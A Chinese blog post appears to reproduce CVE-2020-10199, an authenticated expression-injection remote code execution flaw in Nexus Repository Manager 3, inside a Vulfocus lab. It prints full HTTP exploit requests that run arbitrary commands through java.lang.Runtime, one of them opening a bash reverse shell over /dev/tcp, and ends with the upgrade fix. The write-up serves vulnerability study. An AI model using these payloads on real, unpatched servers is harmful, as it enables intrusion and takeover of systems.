CVE-2020-10199 Nexus Repository Manager3远程命令执行漏洞复现

一、漏洞概述

nexus的全称是Nexus Repository Manager,是Sonatype公司的一个产品。它是一个强大的仓库管理器,极大地简化了内部仓库的维护和外部仓库的访问。主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单,还可以作为nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有仓库,功能非常强大。——大佬链接:https://zhuanlan.zhihu.com/p/353955349

 

二、影响版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

 

三、漏洞原理

在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码、执行了不安全的EL表达式,从而获取到系统权限。

CVE-2020-10199的漏洞需要普通用户权限即可触发,而CVE-2020-10204则需要管理员权限。

补充:EL表达式——el表达式语言,Java统一表达式语言(英语:Unified Expression Language,简称JUEL)是一种特殊用途的编程语言,主要在Java Web应用程序用于将表达式嵌入到web页面。在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以“${}”表示。例如,${ userinfo}代表获取变量userinfo的值。

 

四、漏洞复现环境

Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus

 

五、实验步骤

1.开启镜像环境,访问页面

 

 2.使用账号id:admin  password:admin登录账号

 

 3.brup抓包且构造如下数据包,执行6*6*6(此时虚拟机太卡了,重新启动了一下,所以端口和环境都换了一下)

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.117.131:42023
Content-Length: 187
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
NX-ANTI-CSRF-TOKEN:0.9468176225792493
Content-Type: application/json
Accept: */*
Origin: 192.168.117.131:42023
Referer: 192.168.117.131:42023
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff
Connection: close
{
	"name": "internal",
	"online": true,
	"storage": {
		"blobStoreName": "default",
		"strictContentTypeValidation": true
	},
	"group": {
	"memberNames": ["$\\A{6*6*6}"]
}
}
注:包构造时需按下图显示,即内容识别出高亮,若不行,则space微调就好了

 

4.把执行6*6*6修改为创建一个Nexus文件

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.117.131:42023
Content-Length: 187
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
NX-ANTI-CSRF-TOKEN:0.9468176225792493
Content-Type: application/json
Accept: */*
Origin: 192.168.117.131:42023
Referer: 192.168.117.131:42023
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff
Connection: close
{
	"name": "internal",
	"online": true,
	"storage": {
		"blobStoreName": "default",
		"strictContentTypeValidation": true
	},
	"group": {
	"memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/Nexus')}"]
}
}

 

 5.监听指定端口,执行反弹shell

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.117.131:42023
Content-Length: 317
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
NX-ANTI-CSRF-TOKEN:0.9468176225792493
Content-Type: application/json
Accept: */*
Origin: 192.168.117.131:42023
Referer: 192.168.117.131:42023
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff
Connection: close

{

	"name": "internal",
	"online": true,
	"storage": {
		"blobStoreName": "default",
		"strictContentTypeValidation": true
	},
	"group": {
	"memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.117.131/4216<&1')}"]
}
}

 

 

6.能看到之前创建的Nexus文件和flag

 

六、修复方式

根据官方跟新文档,升级至最新版本——https://help.sonatype.com/repomanager3

 

七、写于后面

此漏洞复现的意义主要还是多一个思路,毕竟涉及范围并不是特别广。当然更重要的还是对于linux的深入学习、理解和使用吧,准备新开一个linux学习专栏~

https://mp.weixin.qq.com/s/CAtsX3yP81mULbMDTo0J1A——一位大佬整理的该漏洞复现过程中的原理以及超级底层的讲解,超级棒,引用于此方便学习

posted @ 2022-05-28 17:07  wavesky  阅读(652)  评论(0编辑  收藏  举报